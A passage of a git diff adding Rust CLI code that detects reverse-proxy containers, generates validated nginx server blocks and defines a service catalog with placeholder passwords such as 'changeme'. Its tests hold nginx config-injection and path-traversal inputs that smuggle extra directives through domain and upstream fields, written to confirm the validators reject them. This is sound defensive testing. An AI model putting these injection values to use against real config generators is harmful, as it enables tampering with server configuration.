part.trim(); + // Format: "0.0.0.0:HOST_PORT->CONTAINER_PORT/proto" or "HOST_PORT->CONTAINER_PORT/proto" + if let Some(arrow_idx) = part.find("->") { + let before_arrow = &part[..arrow_idx]; + // Get the port number after the last ':' + if let Some(port_str) = before_arrow.rsplit(':').next() { + if let Ok(port) = port_str.parse::() { + if !ports.contains(&port) { + ports.push(port); + } + } + } + } + } + ports +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ProxyDetection — result of scanning running containers +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Result of scanning local containers for a running reverse proxy. +#[derive(Debug, Clone, PartialEq)] +pub struct ProxyDetection { + pub proxy_type: ProxyType, + pub container_name: Option, + pub ports: Vec, +} + +impl Default for ProxyDetection { + fn default() -> Self { + Self { + proxy_type: ProxyType::None, + container_name: None, + ports: Vec::new(), + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// detect_proxy — scan running containers for a reverse proxy +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Known proxy image prefixes and their corresponding type. +const PROXY_SIGNATURES: &[(&str, ProxyType)] = &[ + ("jc21/nginx-proxy-manager", ProxyType::NginxProxyManager), + ("nginx-proxy-manager", ProxyType::NginxProxyManager), + ("traefik", ProxyType::Traefik), + ("nginx", ProxyType::Nginx), +]; + +/// Scan running containers to find a reverse proxy. +/// +/// Uses `ContainerRuntime` (DIP) so tests inject `MockContainerRuntime`. +/// NPM detection takes priority over plain nginx because NPM containers +/// also contain "nginx" in their image name. +pub fn detect_proxy(runtime: &dyn ContainerRuntime) -> Result { + if !runtime.is_available() { + return Err(CliError::ContainerRuntimeUnavailable); + } + + let containers = runtime.list_containers()?; + + for (signature, proxy_type) in PROXY_SIGNATURES { + for container in &containers { + if container.image.contains(signature) || container.name.contains(signature) { + return Ok(ProxyDetection { + proxy_type: *proxy_type, + container_name: Some(container.name.clone()), + ports: container.ports.clone(), + }); + } + } + } + + Ok(ProxyDetection::default()) +} + +/// Detect a reverse proxy from an agent snapshot JSON value. +/// +/// The snapshot contains a `"containers"` array with objects like: +/// `{ "name": "...", "image": "...", "state": "running", ... }` +/// +/// Uses the same `PROXY_SIGNATURES` as local detection. +pub fn detect_proxy_from_snapshot(snapshot: &serde_json::Value) -> ProxyDetection { + let containers = match snapshot.get("containers").and_then(|v| v.as_array()) { + Some(arr) => arr, + None => return ProxyDetection::default(), + }; + + for (signature, proxy_type) in PROXY_SIGNATURES { + for c in containers { + let image = c.get("image").and_then(|v| v.as_str()).unwrap_or(""); + let name = c.get("name").and_then(|v| v.as_str()).unwrap_or(""); + + if image.contains(signature) || name.contains(signature) { + // Try to extract ports from the snapshot container object. + // The agent may report ports as an array of numbers, an array of + // strings like "80/tcp", or a "ports" string. Be lenient. + let ports = extract_snapshot_ports(c); + + return ProxyDetection { + proxy_type: *proxy_type, + container_name: Some(name.to_string()), + ports, + }; + } + } + } + + ProxyDetection::default() +} + +/// Best-effort port extraction from an agent snapshot container object. +fn extract_snapshot_ports(container: &serde_json::Value) -> Vec { + let mut ports = Vec::new(); + + if let Some(arr) = container.get("ports").and_then(|v| v.as_array()) { + for p in arr { + if let Some(n) = p.as_u64() { + if n <= u16::MAX as u64 { + ports.push(n as u16); + } + } else if let Some(s) = p.as_str() { + // e.g. "80/tcp" or "0.0.0.0:81->81/tcp" + if let Some(arrow_idx) = s.find("->") { + let before = &s[..arrow_idx]; + if let Some(port_str) = before.rsplit(':').next() { + if let Ok(port) = port_str.parse::() { + if !ports.contains(&port) { + ports.push(port); + } + } + } + } else if let Ok(port) = s.split('/').next().unwrap_or("").parse::() { + if !ports.contains(&port) { + ports.push(port); + } + } + } + } + } + + ports +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// generate_nginx_server_block — produce nginx config snippet +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +fn validate_domain(domain: &str) -> Result<(), CliError> { + let re = regex::Regex::new(r"^[a-zA-Z0-9][a-zA-Z0-9._-]*$").unwrap(); + if !re.is_match(domain) { + return Err(CliError::ConfigValidation(format!( + "Invalid domain '{}': must contain only alphanumeric, dots, hyphens, underscores", + domain + ))); + } + Ok(()) +} + +fn validate_upstream(upstream: &str) -> Result<(), CliError> { + // Allow optional http:// or https:// prefix + let re = regex::Regex::new(r"^(https?://)?[a-zA-Z0-9._-]+:[0-9]+$").unwrap(); + if !re.is_match(upstream) { + return Err(CliError::ConfigValidation(format!( + "Invalid upstream '{}': must match [http://]host:port format", + upstream + ))); + } + Ok(()) +} + +/// Generate an nginx `server { }` block for a single domain configuration. +/// +/// Produces a config suitable for inclusion in `/etc/nginx/conf.d/`. +/// SSL directives are included when `ssl` is `Auto` or `Manual`. +pub fn generate_nginx_server_block(domain: &DomainConfig) -> Result { + validate_domain(&domain.domain)?; + validate_upstream(&domain.upstream)?; + let mut block = String::new(); + let proxy_pass = proxy_pass_target(&domain.upstream); + + block.push_str("server {\n"); + + match domain.ssl { + SslMode::Auto | SslMode::Manual => { + block.push_str(" listen 80;\n"); + block.push_str(&format!(" server_name {};\n", domain.domain)); + block.push_str("\n"); + block.push_str(" location / {\n"); + block.push_str(&format!( + " return 301 https://{}$request_uri;\n", + domain.domain + )); + block.push_str(" }\n"); + block.push_str("}\n\n"); + + block.push_str("server {\n"); + block.push_str(" listen 443 ssl http2;\n"); + block.push_str(&format!(" server_name {};\n", domain.domain)); + block.push_str("\n"); + + if domain.ssl == SslMode::Auto { + block.push_str(&format!( + " ssl_certificate /etc/letsencrypt/live/{}/fullchain.pem;\n", + domain.domain + )); + block.push_str(&format!( + " ssl_certificate_key /etc/letsencrypt/live/{}/privkey.pem;\n", + domain.domain + )); + } else { + block.push_str(" ssl_certificate /etc/nginx/ssl/cert.pem;\n"); + block.push_str(" ssl_certificate_key /etc/nginx/ssl/key.pem;\n"); + } + + block.push_str("\n"); + block.push_str(" location / {\n"); + block.push_str(&format!(" proxy_pass {};\n", proxy_pass)); + block.push_str(" proxy_set_header Host $host;\n"); + block.push_str(" proxy_set_header X-Real-IP $remote_addr;\n"); + block + .push_str(" proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n"); + block.push_str(" proxy_set_header X-Forwarded-Proto $scheme;\n"); + block.push_str(" }\n"); + block.push_str("}\n"); + } + SslMode::Off => { + block.push_str(" listen 80;\n"); + block.push_str(&format!(" server_name {};\n", domain.domain)); + block.push_str("\n"); + block.push_str(" location / {\n"); + block.push_str(&format!(" proxy_pass {};\n", proxy_pass)); + block.push_str(" proxy_set_header Host $host;\n"); + block.push_str(" proxy_set_header X-Real-IP $remote_addr;\n"); + block + .push_str(" proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n"); + block.push_str(" proxy_set_header X-Forwarded-Proto $scheme;\n"); + block.push_str(" }\n"); + block.push_str("}\n"); + } + } + + Ok(block) +} + +fn proxy_pass_target(upstream: &str) -> String { + if upstream.starts_with("http://") || upstream.starts_with("https://") { + upstream.to_string() + } else { + format!("http://{}", upstream) + } +} + +/// Generate nginx configs for all domains in a proxy config. +/// Returns a map of `filename → config content` for writing to `./nginx/conf.d/`. +pub fn generate_nginx_configs( + domains: &[DomainConfig], +) -> Result, CliError> { + let mut configs = HashMap::new(); + + for domain in domains { + let filename = format!("{}.conf", domain.domain.replace('.', "_").replace('/', "_")); + let content = generate_nginx_server_block(domain)?; + configs.insert(filename, content); + } + + Ok(configs) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + + // ── Mock container runtime ────────────────────── + + struct MockContainerRuntime { + available: bool, + containers: Vec, + } + + impl MockContainerRuntime { + fn available_with(containers: Vec) -> Self { + Self { + available: true, + containers, + } + } + + fn unavailable() -> Self { + Self { + available: false, + containers: Vec::new(), + } + } + } + + impl ContainerRuntime for MockContainerRuntime { + fn is_available(&self) -> bool { + self.available + } + + fn list_containers(&self) -> Result, CliError> { + Ok(self.containers.clone()) + } + } + + fn nginx_container() -> ContainerInfo { + ContainerInfo { + id: "abc123".to_string(), + name: "nginx-proxy".to_string(), + image: "nginx:alpine".to_string(), + ports: vec![80, 443], + status: "Up 2 hours".to_string(), + } + } + + fn npm_container() -> ContainerInfo { + ContainerInfo { + id: "def456".to_string(), + name: "npm".to_string(), + image: "jc21/nginx-proxy-manager:latest".to_string(), + ports: vec![80, 443, 81], + status: "Up 5 hours".to_string(), + } + } + + fn traefik_container() -> ContainerInfo { + ContainerInfo { + id: "ghi789".to_string(), + name: "traefik".to_string(), + image: "traefik:v2.10".to_string(), + ports: vec![80, 443, 8080], + status: "Up 1 hour".to_string(), + } + } + + fn app_container() -> ContainerInfo { + ContainerInfo { + id: "xyz999".to_string(), + name: "my-app".to_string(), + image: "myapp:latest".to_string(), + ports: vec![3000], + status: "Up 30 minutes".to_string(), + } + } + + // ── Proxy detection tests ─────────────────────── + + #[test] + fn test_detect_proxy_nginx_from_containers() { + let runtime = + MockContainerRuntime::available_with(vec![app_container(), nginx_container()]); + let detection = detect_proxy(&runtime).unwrap(); + assert_eq!(detection.proxy_type, ProxyType::Nginx); + assert_eq!(detection.container_name.as_deref(), Some("nginx-proxy")); + assert!(detection.ports.contains(&80)); + assert!(detection.ports.contains(&443)); + } + + #[test] + fn test_detect_proxy_npm_from_containers() { + let runtime = MockContainerRuntime::available_with(vec![app_container(), npm_container()]); + let detection = detect_proxy(&runtime).unwrap(); + assert_eq!(detection.proxy_type, ProxyType::NginxProxyManager); + assert!(detection.ports.contains(&81)); + } + + #[test] + fn test_detect_proxy_traefik_from_containers() { + let runtime = MockContainerRuntime::available_with(vec![traefik_container()]); + let detection = detect_proxy(&runtime).unwrap(); + assert_eq!(detection.proxy_type, ProxyType::Traefik); + assert_eq!(detection.container_name.as_deref(), Some("traefik")); + } + + #[test] + fn test_detect_no_proxy() { + let runtime = MockContainerRuntime::available_with(vec![app_container()]); + let detection = detect_proxy(&runtime).unwrap(); + assert_eq!(detection.proxy_type, ProxyType::None); + assert!(detection.container_name.is_none()); + } + + #[test] + fn test_detect_npm_takes_priority_over_nginx() { + // NPM containers contain "nginx" in their image. NPM must be detected + // first because its signature is checked before plain "nginx". + let runtime = + MockContainerRuntime::available_with(vec![npm_container(), nginx_container()]); + let detection = detect_proxy(&runtime).unwrap(); + assert_eq!(detection.proxy_type, ProxyType::NginxProxyManager); + } + + #[test] + fn test_detect_proxy_docker_unavailable() { + let runtime = MockContainerRuntime::unavailable(); + let result = detect_proxy(&runtime); + assert!(result.is_err()); + } + + // ── nginx config generation tests ─────────────── + + #[test] + fn test_generate_nginx_server_block_ssl_auto() { + let domain = DomainConfig { + domain: "app.example.com".to_string(), + ssl: SslMode::Auto, + upstream: "app:3000".to_string(), + }; + let block = generate_nginx_server_block(&domain).unwrap(); + assert!(block.contains("server_name app.example.com;")); + assert!(block.contains("listen 443 ssl http2;")); + assert!(block.contains("proxy_pass http://app:3000;")); + assert!(block.contains("letsencrypt")); + assert!(block.contains("return 301 https://")); + } + + #[test] + fn test_generate_nginx_server_block_ssl_manual() { + let domain = DomainConfig { + domain: "app.example.com".to_string(), + ssl: SslMode::Manual, + upstream: "app:3000".to_string(), + }; + let block = generate_nginx_server_block(&domain).unwrap(); + assert!(block.contains("listen 443 ssl http2;")); + assert!(block.contains("/etc/nginx/ssl/cert.pem")); + assert!(!block.contains("letsencrypt")); + } + + #[test] + fn test_generate_nginx_server_block_no_ssl() { + let domain = DomainConfig { + domain: "app.local".to_string(), + ssl: SslMode::Off, + upstream: "app:8080".to_string(), + }; + let block = generate_nginx_server_block(&domain).unwrap(); + assert!(block.contains("listen 80;")); + assert!(block.contains("server_name app.local;")); + assert!(block.contains("proxy_pass http://app:8080;")); + assert!(!block.contains("ssl")); + assert!(!block.contains("443")); + } + + #[test] + fn test_generate_nginx_server_block_keeps_upstream_scheme() { + let domain = DomainConfig { + domain: "app.local".to_string(), + ssl: SslMode::Off, + upstream: "http://app:8080".to_string(), + }; + let block = generate_nginx_server_block(&domain).unwrap(); + assert!(block.contains("proxy_pass http://app:8080;")); + assert!(!block.contains("proxy_pass http://http://app:8080;")); + } + + #[test] + fn test_generate_nginx_configs_multiple_domains() { + let domains = vec![ + DomainConfig { + domain: "api.example.com".to_string(), + ssl: SslMode::Auto, + upstream: "api:4000".to_string(), + }, + DomainConfig { + domain: "web.example.com".to_string(), + ssl: SslMode::Off, + upstream: "web:3000".to_string(), + }, + ]; + let configs = generate_nginx_configs(&domains).unwrap(); + assert_eq!(configs.len(), 2); + assert!(configs.contains_key("api_example_com.conf")); + assert!(configs.contains_key("web_example_com.conf")); + } + + // ── Port parsing tests ────────────────────────── + + #[test] + fn test_extract_host_ports_standard() { + let ports = extract_host_ports("0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp"); + assert_eq!(ports, vec![80, 443]); + } + + #[test] + fn test_extract_host_ports_different_host_container() { + let ports = extract_host_ports("0.0.0.0:8080->80/tcp"); + assert_eq!(ports, vec![8080]); + } + + #[test] + fn test_extract_host_ports_empty() { + let ports = extract_host_ports(""); + assert!(ports.is_empty()); + } + + #[test] + fn test_extract_host_ports_no_arrow() { + let ports = extract_host_ports("80/tcp"); + assert!(ports.is_empty()); + } + + // ── Docker ps line parsing tests ──────────────── + + #[test] + fn test_parse_docker_ps_line() { + let line = + "abc123|my-nginx|nginx:alpine|0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp|Up 2 hours"; + let info = parse_docker_ps_line(line); + assert_eq!(info.id, "abc123"); + assert_eq!(info.name, "my-nginx"); + assert_eq!(info.image, "nginx:alpine"); + assert_eq!(info.ports, vec![80, 443]); + assert_eq!(info.status, "Up 2 hours"); + } + + #[test] + fn test_parse_docker_ps_line_no_ports() { + let line = "def456|app||Running|Up 5 min"; + let info = parse_docker_ps_line(line); + assert_eq!(info.name, "app"); + assert!(info.ports.is_empty()); + } + + // ── Snapshot-based proxy detection tests ──────── + + #[test] + fn test_detect_from_snapshot_npm() { + let snap = serde_json::json!({ + "containers": [ + { + "name": "npm-app", + "image": "jc21/nginx-proxy-manager:2.11", + "state": "running", + "ports": [80, 443, 81] + }, + { + "name": "my-app", + "image": "myapp:latest", + "state": "running" + } + ] + }); + let detection = detect_proxy_from_snapshot(&snap); + assert_eq!(detection.proxy_type, ProxyType::NginxProxyManager); + assert_eq!(detection.container_name.as_deref(), Some("npm-app")); + assert!(detection.ports.contains(&81)); + } + + #[test] + fn test_detect_from_snapshot_traefik() { + let snap = serde_json::json!({ + "containers": [ + { + "name": "traefik-proxy", + "image": "traefik:v3.0", + "state": "running", + "ports": [80, 443, 8080] + } + ] + }); + let detection = detect_proxy_from_snapshot(&snap); + assert_eq!(detection.proxy_type, ProxyType::Traefik); + } + + #[test] + fn test_detect_from_snapshot_none() { + let snap = serde_json::json!({ + "containers": [ + { + "name": "my-app", + "image": "myapp:latest", + "state": "running" + } + ] + }); + let detection = detect_proxy_from_snapshot(&snap); + assert_eq!(detection.proxy_type, ProxyType::None); + } + + #[test] + fn test_detect_from_snapshot_empty() { + let snap = serde_json::json!({}); + let detection = detect_proxy_from_snapshot(&snap); + assert_eq!(detection.proxy_type, ProxyType::None); + } + + #[test] + fn test_detect_from_snapshot_string_ports() { + let snap = serde_json::json!({ + "containers": [ + { + "name": "npm", + "image": "jc21/nginx-proxy-manager:latest", + "state": "running", + "ports": ["80/tcp", "443/tcp", "81/tcp"] + } + ] + }); + let detection = detect_proxy_from_snapshot(&snap); + assert_eq!(detection.proxy_type, ProxyType::NginxProxyManager); + assert_eq!(detection.ports, vec![80, 443, 81]); + } + + #[test] + fn test_detect_from_snapshot_name_match() { + // Container name contains the signature, even if image doesn't + let snap = serde_json::json!({ + "containers": [ + { + "name": "nginx-proxy-manager-app-1", + "image": "custom-npm:v1", + "state": "running", + "ports": [80, 81] + } + ] + }); + let detection = detect_proxy_from_snapshot(&snap); + assert_eq!(detection.proxy_type, ProxyType::NginxProxyManager); + } + + // ── SECURITY: nginx config injection ────────────── + // CWE-74: Improper Neutralization of Special Elements in Output + // + // The domain name and upstream are interpolated directly into nginx + // config without sanitization. A malicious domain or upstream value + // can inject arbitrary nginx directives. + + #[test] + fn test_nginx_config_rejects_injection_via_domain_name() { + let domain = DomainConfig { + domain: "evil.com; location /admin { return 200 'pwned'; }".to_string(), + ssl: SslMode::Off, + upstream: "app:3000".to_string(), + }; + let result = generate_nginx_server_block(&domain); + assert!( + result.is_err(), + "Domain with special chars must be rejected" + ); + } + + #[test] + fn test_nginx_config_rejects_injection_via_upstream() { + let domain = DomainConfig { + domain: "safe.example.com".to_string(), + ssl: SslMode::Off, + upstream: "app:3000;\n add_header X-Injected true".to_string(), + }; + let result = generate_nginx_server_block(&domain); + assert!( + result.is_err(), + "Upstream with special chars must be rejected" + ); + } + + #[test] + fn test_nginx_configs_rejects_domain_with_slashes() { + let domains = vec![DomainConfig { + domain: "../../../etc/nginx/evil".to_string(), + ssl: SslMode::Off, + upstream: "app:3000".to_string(), + }]; + let result = generate_nginx_configs(&domains); + assert!(result.is_err(), "Domain with slashes must be rejected"); + } +} diff --git a/stacker/stacker/src/cli/runtime.rs b/stacker/stacker/src/cli/runtime.rs new file mode 100644 index 0000000..9e919bb --- /dev/null +++ b/stacker/stacker/src/cli/runtime.rs @@ -0,0 +1,63 @@ +//! Shared CLI runtime — eliminates boilerplate repeated across every CLI command. +//! +//! Every CLI command needs: load credentials → build tokio runtime → create +//! `StackerClient`. This module wraps that into a single `CliRuntime` struct +//! so each command is ~3 lines instead of ~15. + +use crate::cli::credentials::{CredentialsManager, FileCredentialStore, StoredCredentials}; +use crate::cli::error::CliError; +use crate::cli::stacker_client::StackerClient; + +/// Pre-built CLI execution context: credentials + async runtime + HTTP client. +/// +/// # Example +/// ```ignore +/// let ctx = CliRuntime::new("agent health")?; +/// ctx.block_on(async { +/// let result = ctx.client.list_projects().await?; +/// Ok(()) +/// }) +/// ``` +pub struct CliRuntime { + pub creds: StoredCredentials, + pub client: StackerClient, + rt: tokio::runtime::Runtime, +} + +impl CliRuntime { + /// Build a runtime for the given feature name (used in login-required messages). + pub fn new(feature: &str) -> Result { + let cred_manager = CredentialsManager::::with_default_store(); + let creds = cred_manager.require_valid_token(feature)?; + let env_server_url = std::env::var("STACKER_URL").ok(); + let base_url = creds + .server_url + .as_deref() + .or(env_server_url.as_deref()) + .map(crate::cli::install_runner::normalize_stacker_server_url) + .ok_or_else(|| { + CliError::ConfigValidation( + "No Stacker API URL configured. Re-run `stacker login --auth-url --server-url ` or set STACKER_URL.".to_string(), + ) + })?; + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)) + })?; + + let client = StackerClient::new(&base_url, &creds.access_token); + + Ok(Self { creds, client, rt }) + } + + /// Run an async closure on the single-threaded tokio runtime. + pub fn block_on(&self, future: F) -> T + where + F: std::future::Future, + { + self.rt.block_on(future) + } +} diff --git a/stacker/stacker/src/cli/service_catalog.rs b/stacker/stacker/src/cli/service_catalog.rs new file mode 100644 index 0000000..5ad3780 --- /dev/null +++ b/stacker/stacker/src/cli/service_catalog.rs @@ -0,0 +1,682 @@ +//! Service catalog — resolves service names to `ServiceDefinition` templates. +//! +//! Two sources: +//! 1. **Hardcoded blueprints** — curated set extracted from MCP recommendations. +//! Works offline, no authentication needed. +//! 2. **Marketplace API** — fetches from the Stacker server when authenticated. +//! Falls back to hardcoded if the API is unreachable. + +use std::collections::HashMap; + +use crate::cli::config_parser::ServiceDefinition; +use crate::cli::error::CliError; +use crate::cli::stacker_client::StackerClient; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// CatalogEntry — a service template with metadata +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone)] +pub struct CatalogEntry { + pub code: String, + pub name: String, + pub category: String, + pub description: String, + pub service: ServiceDefinition, + /// Services that are commonly added alongside this one + pub related: Vec, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ServiceCatalog +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct ServiceCatalog { + client: Option, +} + +impl ServiceCatalog { + /// Create a catalog with optional server API access. + pub fn new(client: Option) -> Self { + Self { client } + } + + /// Create a catalog that only uses hardcoded blueprints (offline). + pub fn offline() -> Self { + Self { client: None } + } + + /// Resolve a service name (or alias) to a `ServiceDefinition`. + /// Tries marketplace API first (if client available), falls back to hardcoded. + pub async fn resolve(&self, service_name: &str) -> Result { + let canonical = Self::resolve_alias(service_name); + + // Try marketplace API if we have a client + if let Some(client) = &self.client { + if let Ok(Some(entry)) = self.try_marketplace(client, &canonical).await { + return Ok(entry); + } + // Fall through to hardcoded on failure + } + + // Hardcoded catalog lookup + self.lookup_hardcoded(&canonical).ok_or_else(|| { + CliError::ConfigValidation(format!( + "Unknown service '{}'. Run `stacker service list` to see available services.", + service_name + )) + }) + } + + /// List all available services from the hardcoded catalog. + pub fn list_available(&self) -> Vec { + build_hardcoded_catalog() + } + + /// Try fetching a service template from the marketplace API. + async fn try_marketplace( + &self, + client: &StackerClient, + slug: &str, + ) -> Result, CliError> { + match client.get_marketplace_template(slug).await { + Ok(Some(template)) => { + // Extract service definition from the template's stack_definition + if let Some(stack_def) = &template.stack_definition { + if let Some(services) = stack_def.get("services") { + if let Some(first_svc) = services.as_array().and_then(|arr| arr.first()) { + let service = ServiceDefinition { + name: first_svc["name"].as_str().unwrap_or(slug).to_string(), + image: first_svc["image"].as_str().unwrap_or("").to_string(), + ports: first_svc["ports"] + .as_array() + .map(|arr| { + arr.iter() + .filter_map(|v| v.as_str().map(|s| s.to_string())) + .collect() + }) + .unwrap_or_default(), + environment: first_svc["environment"] + .as_object() + .map(|obj| { + obj.iter() + .filter_map(|(k, v)| { + v.as_str().map(|s| (k.clone(), s.to_string())) + }) + .collect() + }) + .unwrap_or_default(), + volumes: first_svc["volumes"] + .as_array() + .map(|arr| { + arr.iter() + .filter_map(|v| v.as_str().map(|s| s.to_string())) + .collect() + }) + .unwrap_or_default(), + depends_on: Vec::new(), + }; + + return Ok(Some(CatalogEntry { + code: slug.to_string(), + name: template.name, + category: template + .category_code + .unwrap_or_else(|| "service".to_string()), + description: template.description.unwrap_or_default(), + service, + related: vec![], + })); + } + } + } + Ok(None) + } + Ok(None) => Ok(None), + Err(_) => Ok(None), // Silently fall back to hardcoded + } + } + + /// Look up a service in the hardcoded catalog. + fn lookup_hardcoded(&self, code: &str) -> Option { + let catalog = build_hardcoded_catalog(); + catalog.into_iter().find(|e| e.code == code) + } + + /// Resolve common aliases to canonical service names. + pub fn resolve_alias(name: &str) -> String { + let lower = name.to_lowercase().trim().to_string(); + match lower.as_str() { + "wp" | "wordpress" => "wordpress".to_string(), + "pg" | "postgresql" | "postgres" => "postgres".to_string(), + "my" | "mysql" => "mysql".to_string(), + "maria" | "mariadb" => "mariadb".to_string(), + "mongo" | "mongodb" => "mongodb".to_string(), + "es" | "elastic" | "elasticsearch" => "elasticsearch".to_string(), + "mq" | "rabbit" | "rabbitmq" => "rabbitmq".to_string(), + "npm" | "nginx-proxy-manager" => "nginx_proxy_manager".to_string(), + "pma" | "phpmyadmin" => "phpmyadmin".to_string(), + "mail" | "mailer" | "smtp" => "smtp".to_string(), + "mh" | "mailhog" => "mailhog".to_string(), + "rc" | "rocketchat" | "rocket.chat" | "rocket-chat" => "rocketchat".to_string(), + "mm" | "mattermost" => "mattermost".to_string(), + "gl" | "gitlab" | "gitlab-ce" | "gitlab_ce" => "gitlab_ce".to_string(), + "wg" | "wireguard" => "wireguard".to_string(), + "vpn" | "openvpn" => "openvpn".to_string(), + "n8n" => "n8n".to_string(), + "dify" => "dify".to_string(), + "ollama" => "ollama".to_string(), + "owui" | "openwebui" | "open-webui" => "openwebui".to_string(), + "vault" => "vault".to_string(), + "dk" | "dockge" => "dockge".to_string(), + "od" | "odoo" => "odoo".to_string(), + "sc" | "suitecrm" => "suitecrm".to_string(), + "rm" | "redmine" => "redmine".to_string(), + "op" | "openproject" => "openproject".to_string(), + "jk" | "jenkins" => "jenkins".to_string(), + "af" | "airflow" => "airflow".to_string(), + "fa" | "fastapi" => "fastapi".to_string(), + "fl" | "flask" => "flask".to_string(), + "dj" | "django" => "django".to_string(), + "lv" | "laravel" => "laravel".to_string(), + "sf" | "symfony" => "symfony".to_string(), + "gin" => "gin".to_string(), + "ror" | "rails" | "rorrestful" => "rorrestful".to_string(), + "wz" | "wazuh" => "wazuh".to_string(), + "f2b" | "fail2ban" => "fail2ban".to_string(), + "nd" | "netdata" => "netdata".to_string(), + "pr" | "postgrest" => "postgrest".to_string(), + "oc" | "openclaw" | "open-claw" => "openclaw".to_string(), + _ => lower.replace('-', "_"), + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Hardcoded service catalog +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +fn build_hardcoded_catalog() -> Vec { + vec![ + // ── Databases ──────────────────────────────────── + CatalogEntry { + code: "postgres".into(), + name: "PostgreSQL".into(), + category: "database".into(), + description: "Reliable open-source relational database".into(), + service: ServiceDefinition { + name: "postgres".into(), + image: "postgres:16-alpine".into(), + ports: vec!["5432:5432".into()], + environment: HashMap::from([ + ("POSTGRES_DB".into(), "app_db".into()), + ("POSTGRES_USER".into(), "app".into()), + ("POSTGRES_PASSWORD".into(), "changeme".into()), + ]), + volumes: vec!["postgres_data:/var/lib/postgresql/data".into()], + depends_on: vec![], + }, + related: vec!["redis".into()], + }, + CatalogEntry { + code: "mysql".into(), + name: "MySQL".into(), + category: "database".into(), + description: "Popular open-source relational database".into(), + service: ServiceDefinition { + name: "mysql".into(), + image: "mysql:8.0".into(), + ports: vec!["3306:3306".into()], + environment: HashMap::from([ + ("MYSQL_ROOT_PASSWORD".into(), "changeme_root".into()), + ("MYSQL_DATABASE".into(), "app_db".into()), + ("MYSQL_USER".into(), "app".into()), + ("MYSQL_PASSWORD".into(), "changeme".into()), + ]), + volumes: vec!["mysql_data:/var/lib/mysql".into()], + depends_on: vec![], + }, + related: vec!["redis".into(), "phpmyadmin".into()], + }, + CatalogEntry { + code: "mongodb".into(), + name: "MongoDB".into(), + category: "database".into(), + description: "Document-oriented NoSQL database".into(), + service: ServiceDefinition { + name: "mongodb".into(), + image: "mongo:7".into(), + ports: vec!["27017:27017".into()], + environment: HashMap::from([ + ("MONGO_INITDB_ROOT_USERNAME".into(), "admin".into()), + ("MONGO_INITDB_ROOT_PASSWORD".into(), "changeme".into()), + ]), + volumes: vec!["mongo_data:/data/db".into()], + depends_on: vec![], + }, + related: vec![], + }, + // ── Cache ──────────────────────────────────────── + CatalogEntry { + code: "redis".into(), + name: "Redis".into(), + category: "cache".into(), + description: "In-memory data store for caching and message broker".into(), + service: ServiceDefinition { + name: "redis".into(), + image: "redis:7-alpine".into(), + ports: vec!["6379:6379".into()], + environment: HashMap::new(), + volumes: vec!["redis_data:/data".into()], + depends_on: vec![], + }, + related: vec![], + }, + CatalogEntry { + code: "memcached".into(), + name: "Memcached".into(), + category: "cache".into(), + description: "High-performance distributed memory caching system".into(), + service: ServiceDefinition { + name: "memcached".into(), + image: "memcached:1.6-alpine".into(), + ports: vec!["11211:11211".into()], + environment: HashMap::new(), + volumes: vec![], + depends_on: vec![], + }, + related: vec![], + }, + // ── Message Queues ─────────────────────────────── + CatalogEntry { + code: "rabbitmq".into(), + name: "RabbitMQ".into(), + category: "queue".into(), + description: "Advanced message broker with management UI".into(), + service: ServiceDefinition { + name: "rabbitmq".into(), + image: "rabbitmq:3-management-alpine".into(), + ports: vec!["5672:5672".into(), "15672:15672".into()], + environment: HashMap::from([ + ("RABBITMQ_DEFAULT_USER".into(), "app".into()), + ("RABBITMQ_DEFAULT_PASS".into(), "changeme".into()), + ]), + volumes: vec!["rabbitmq_data:/var/lib/rabbitmq".into()], + depends_on: vec![], + }, + related: vec![], + }, + // ── Proxies ────────────────────────────────────── + CatalogEntry { + code: "traefik".into(), + name: "Traefik".into(), + category: "proxy".into(), + description: "Cloud-native reverse proxy with automatic SSL".into(), + service: ServiceDefinition { + name: "traefik".into(), + image: "traefik:v3.0".into(), + ports: vec!["80:80".into(), "443:443".into()], + environment: HashMap::new(), + volumes: vec![ + "/var/run/docker.sock:/var/run/docker.sock".into(), + "traefik_certs:/letsencrypt".into(), + ], + depends_on: vec![], + }, + related: vec![], + }, + CatalogEntry { + code: "nginx".into(), + name: "Nginx".into(), + category: "proxy".into(), + description: "High-performance web server and reverse proxy".into(), + service: ServiceDefinition { + name: "nginx".into(), + image: "nginx:1.25-alpine".into(), + ports: vec!["80:80".into(), "443:443".into()], + environment: HashMap::new(), + volumes: vec![], + depends_on: vec![], + }, + related: vec![], + }, + CatalogEntry { + code: "nginx_proxy_manager".into(), + name: "Nginx Proxy Manager".into(), + category: "proxy".into(), + description: "Web UI for managing Nginx reverse 